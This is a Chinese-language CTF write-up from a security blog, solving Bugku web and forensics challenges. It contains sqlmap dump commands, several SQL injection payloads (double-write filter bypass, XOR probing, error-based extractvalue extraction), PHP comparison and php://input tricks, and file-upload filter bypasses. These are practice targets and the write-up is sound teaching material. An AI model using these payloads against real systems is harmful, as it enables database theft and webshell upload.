CTF web题型总结 第六课 CTF WEB实战练习(二)

2020-09-07 13,679

image.png

继上一篇总结:

CTF web题型总结-第五课 CTF WEB实战练习(一)

以下也是我在bugku练习的解题过程

以下内容大多是我在Bugku自己操作练习有部分来源于网络,我只是在前人的基础上,对CET WEB进行一个总结;

-----------------------------------------------------------------------

-----------------------------------------------------------------------

入门第一部分 

bugku-ctf 第一题:成绩单

image.png 

http://123.206.87.240:8002/chengjidan/

image.png 

猜测应该是考sql注入

先用Burpsuite抓一下数据包吧

image.png 

数据包新建成1.txt。放到sqlmap

使用sqlmap跑注入吧。

然后就是需要了解下sqlmap的使用方式。

sqlmap.py -r 1.txt -p id current-db

-r > 加载一个文件 
-p >指定参数 
current-db >获取当前数据库名称(current前有两个-

image.png 

可以看到它的数据库为skctf_flag,接着就是爆表 
sqlmap.py -r 1.txt -p id -D skctf_flag --tables 
-D >指定数据库名称 
tables >列出数据库中的表(tables前有两个-) 

image.png 

可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了 
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g--columns 
-T >指定表名称 
columns >列出表中的字段 

image.png 

fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。 
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump 
dump >列出字段数据(dump前有两个-) 

image.png 

得到

BUGKU{Sql_INJECT0N_4813drd8hz4}

这个题的知识点sql注入

 

bugku-ctf 第二题:秋名山老司机

image.png 

打开连接

image.png 

打开链接,让我们在2秒之内计算出一个很复杂的式子的值传进去

直接上图一脚本:

image.png 

import re  # import 是导入模块 相当于就是导入函数库 导入模块过后就可以用相应的模块里的函数  这里的re模块是正则表达式 用于匹配字符串当中的一定字符但是说匹配这里却用来提取字符

import requests  #导入requests模块请求模块 这个模块还有很多需要我学习

s = requests.Session()  # ssession sessioncookie 都用于身份识别 session本义为对话 这里我自己暂时理解为 把这次对话保存起来并取名s 相当于记录身份

r =s.get("http://120.24.86.145:8002/qiumingshan/")   #用此身份请求并url

searchObj =re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)   #search 是扫描整个字符串并返回成功的匹配值 如果没有匹配则返回none 正则re.search(要匹配的字符,被扫描的字符,功能选择), 这里用这个函数实则是在提取字符,首先看要匹配的字符是这样的  r'^<div>(.*)=\?;</div>$',这里的r我实在没有查到是什么意思我看了好几个有些没有这个r^代表开始,$代表结束,这里则表是从<div>开始到</div>结束,而中间的(.*)这里的.代表任意一个字符加一个*构成.*就多次的任意字符然后\?是?有特殊含义需要匹配?要在前面加一个\,这里的=\?是源代码中本来就有的,这里打括号是进行分组,第一个()就是第一组第二个()就是第二组(这是我自己的理解) ,r'^<div>(.*)=\?;</div>$'表示<div></div>中的所有字符,然后再与r.text相匹配,相当于提取,后面我会带上图上面有一些字符的含义与某两个网站,还有分组。

d = {

   "value": eval(searchObj.group(1))  #eval函数是计算值

}

r =s.post("http://120.24.86.145:8002/qiumingshan/", data=d)    #post传值

print(r.text)  #输出结果

得出flag

 

bugku-ctf 第三题:速度要快

image.png 

image.png 

看着毫无思路

查看下源代码吧

image.png 

在源代码里有一个提示,说传递margin参数,但是又不知道传什么,在响应头里有个flag

image.png 

image.png 

应该是base64加密的,然后解密后发现好像还可以再解密一次,让后再此解密,所以就把base64解密的数值传过去试试。但是好像它一直在变,让后就要写脚本自动传递,我也不知道为啥。写脚本和一直变又什么联系吗,但还是写了一个,试了试。

# coding:utf-8

import requests

import base64

url="http://123.206.87.240:8002/web6/"

s=requests.Session()

head=s.get(url).headers

flag=base64.b64decode(head["flag"])

flag=flag.decode()

key=base64.b64decode(flag.split(":")[1])

payload={"margin":key}

print(s.post(url,data=payload).text)

知识点

requests获取页面信息、头信息以及提交Post

•抓包

Base64编码特点

 

bugku-ctf 第四题:cookies欺骗

image.png 

image.png 

打开链接是一串没有意义的字符串,查看源码没有发现什么

观察url ,发现a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt

尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2

出现一行代码,试一下line=3显示了不同的代码

image.png 

一个个试太麻烦,上脚本将index.php的源码读取出来

import requests

a=30

for i in range(a):

 url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"

   s=requests.get(url)

   print s.text

最后读取出来的源码

image.png 

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码

keys.php编码是a2V5cy5waHA=

image.png 

得到

KEY{key_keys}

 

bugku-ctf 第五题:never give up

image.png 

image.png 

打开链接显示一串字符,右键查看源码,发现1p.html

image.png 

访问 1p.html ,发现页面自动跳转到  http://www.bugku.com/

应该是有 window.location.href 之类的重定向,那就直接查看1p.html的源码,在链接前面加view-source:

view-source:http://120.24.86.145:8006/test/1p.html

image.png 

有发现!根据%3C来看Words变量应该是url编码

image.png 

解码后发现 注释部分还进行了base64编码

image.png 

继续base64解码后

image.png 

终于出来了,来分析代码

stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。

file_get_contents 将整个文件读入一个字符串

strlen() 函数返回字符串的长度

substr() 函数返回字符串的一部分。substr(string,start,length) length参数可选。如  substr($b,0,1)  就是在参数b里面 ,从0开始返回1个长度的字符串

eregi("111".substr($b,0,1),"1114")    就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的

总的来说,如果a参数传入文件内有"bugku is a nice plateform!"字符串,并且id参数为0 b参数长度大于5"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4   以上这些条件都满足,就请求f4l2a3g.txt

 

:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt

可以访问,flag我看到你了!

image.png 

得到

flag{tHis_iS_THe_fLaG}

 

以上五题主要涉及到的技术点:SQL注入以及sqlmap工具使用、python脚本的编写、burpsuite抓包改包的使用、代码分析、url编码与解码、base64的编码与解码。

 

bugku-ctf 第六题:各种绕过

image.png 

打开看看

image.png 

阅读代码 发现

只要使unamesha1的值与passwdsha1的值相等即可,但是同时他们两个的值又不能相等

构造

http://123.206.87.240:8002/web7/?uname[]=1&id=margin  并发送  passwd[]=2 postdata 请求即可

依旧利用简单 有特别 好安装的  火狐 插件 hackbar

image.png 

得到

Flag: flag{HACK_45hhs_213sDD}

 

本题注意点:

1. get方式提交uname id 值,post方式提交passwd

2. unamepasswd的哈希值相同

3. id == “margin”

解决

 

1 getpost提交,方式1:火狐的HackBar,方式:python程序。。。

2 unamepasswd定义成数组,数组的哈希值相同

3 url传入时,令id=margin

 

bugku-ctf 第七题:web8(txt????)

image.png 

http://123.206.87.240:8002/web8/

image.png 

本题要点:php代码审计、php://input

打开地址,看到这样的代码

<?php

extract($_GET);

if (!empty($ac))

{

$f = trim(file_get_contents($fn));

if ($ac === $f)

{

echo "<p>This is flag:" ." $flag</p>";

}

else

{

echo "<p>sorry!</p>";

}

}

?>

 

分析代码:

extract($_GET):函数extract()有通过数组进行赋值的功能:

file_get_contents($fn)file_get_contents功能是从文件名为“$fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值

 

构造

index.php?ac=text&fn=php://input

image.png 

得到

flag{3cfb7a90fc0de31}

入门第二部分 

bugku-ctf 第一题:细心

这个题主要在于细心,还有就是对robots.txt的了解。

image.png 

访问看看http://123.206.87.240:8002/web13/

image.png 

进来后发现是这样了我瞎点了下也没发现什么东西

之后就尝试下寻找txt

http://120.24.86.145:8002/web13/robots.txt

发现了这样的一句话

User-agent: *

Disallow: /resusl.php

image.png 

image.png 

By bugkuctf.

if ($_GET[x]==$password) 此处省略1w

根据上面的php代码

我们构造x=admin

http://120.24.86.145:8002/web13/resusl.php?x=admin

便能得到flag

image.png 

得到flag(ctf_0098_lkji-s)

这个题主要在于细心,还有就是对robots.txt的了解。

bugku-ctf 第二题:getshell 

image.png 

访问看看

image.png 

应该是考的上传漏洞

这道题是后缀名黑名单检测和类型检测

1. 把请求头里面的Content-Type字母改成大写进行绕过

2. .jpg后面加上.php5其他的都被过滤了好像

 如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtmlphp的别名),发现只有php5没有被过滤,成功上传,得到flag

image.png 

KEY{bb35dc123820e}

 

此题考点在上传绕过

 

bugku-ctf 第三题:多次

image.png 

访问看下

image.png 

登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入

?id=1'or 1=1--+ 也报错,可能存在过滤

尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

那如何检测哪些字符串被过滤了呢?新技能GET!

异或注入了解一下,两个条件相同(同真或同假)即为假

?id=1'^(length('union')!=0)--+

 

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过,payload如下:

爆数据表 (注意:information里面也有or)

?id=-1'ununionion seselectlect 1,group_concat(table_name) frominfoorrmation_schema.tables where table_schema=database()--+

image.png 

爆字段

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27--+

image.png 

爆数据

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(flag1)%20from%20flag1--+

image.png 

提交flag显示错误,换个字段

address,得出下一关地址

?id=-1'ununionion seselectlect 1,group_concat(address) from flag1--+

image.png 

打开之后

image.png 

当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。

image.png 

爆字段数

?id=1' order by2--+ 正常

?id=1' order by3--+ 报错

image.png 

爆库

?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+

image.png 

爆表

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables wheretable_schema="web1002-2"),0x7e)))--+

image.png 

爆列

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns wheretable_schema="web1002-2" and table_name="flag2"),0x7e)))--+

image.png 

flag

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))--+

image.png 

得到

flag{Bugku-sql_6s-2i-4t-bug}

flag均为小写 flag{bugku-sql_6s-2i-4t-bug}

本地主要是sql注入,报错注入以及异或注入

 

bugku-ctf 第四题:日志审计

image.png 

下载后是一个txt

不用pcap的原因应该是可能怕我们提取数据太麻烦,写脚本不好写,因此直接给个txt文件。

 

那么先打开txt文件分析,

这个已经很友善了,网址那里已经sqli_blind提示了,

那么这就是一道sql盲注复现的流量分析。

image.png 

知识点:

sql二分法盲注

一些sql常见语句

分析正常字符出现的条件

写脚本进行数据提取(ps:最难就是这里,不过到时候不会可以人工手动提取

 

根据盲注的原理,

直接拉到txt最后面,

因为最后面的那一段才是判断出flag的。

 notepad++ 的插件中的  MIME Tool  中的  URL decode 解一下码~

image.png 

还是来复习下盲注的知识,(虽然对解题用处不大)

image.png 

每一条语句返回的状态码有 200 404  

我们可以看到 200状态码对应的ASCII值是1765 404状态码对应的ASCII值是5476

image.png 

我们往后继续看~

看到有 flag_is_here 的记录...

sql盲注里测试的字符的 最后一条状态码为 200的语句 的ASCII值再加1就是猜解正确的ASCII值,转换成字符就是我们需要的答案的其中一个字符。

下面以第一个字符作为例子:

image.png 

我们可以看到当 LIMIT 0,1),1,1))>101 时,是第一个字符的最后一个 状态码为 200 的语句,这时的ASCII码是 101 ,那么 101+1=102 ASCII码为 102 对应的是  f  ,因此flag的第一个字符就为  f

image.png 

第二个就是108

image.png 

第三个

image.png 

97—对应的a

 

101+1=102 -->f

107+1=108 -->l

96+1=97 -->a

102+1=103 -->g

由于字符比较多,我们就不一一列举了,以上就是flag的前四个字符。

最多得出flag{sqlm4p_15_p0werful}

这个题的经验在于,对注入的了解,sql注入盲注

 

 

bugku-ctf 第五题:flag被盗

image.png 

先点击下载看看

key.pcapng文件,下载用wireshark打开

image.png 

根据题目提示,flag被盗,那么很有可能包里包含了一个文件,至于文件类型就无法准确判断了~

通常,我们可以先用 http协议 ,来看一下pcap包里面包含的信息。

 

筛选http

image.png 

image.png 

我们可以看到,请求 200 ok ,请求成功。还含有 shell.php ~

任意选择一条含shell.php的内容  右键 =>>追踪流 =>>TCP流  ,看一下详细信息。

之后找一个POST请求包,追踪TCP

image.png 

image.png 

仔细找一找,flag就在里面flag{This_is_a_f10g}

本题要点:wireshark软件使用:http协议过滤、追踪TCP流

 

bugku-ctf 第题:这么多数据包

image.png 

下载之后解压缩, 是一个 cap

通过 wireshark 打开, 可以看到有很多数据包

image.png 

根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP

报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “

 >来查找 getshell

tcp contains  "command"

image.png 

通过追踪 tcp 流, 我们可以看到一段 base64 字符串

image.png 

base64 解密, 得到 flag

CCTF{do_you_like_sniffer}

 

这题主要难在不知道怎么找 getshell 流, 需要对各种报文以及 wireshark 的使用方法比较熟悉


本文作者:Lemon

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/140522.html

Tags:
评论  (0)
快来写下你的想法吧!

Lemon

文章数:68 积分: 647

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号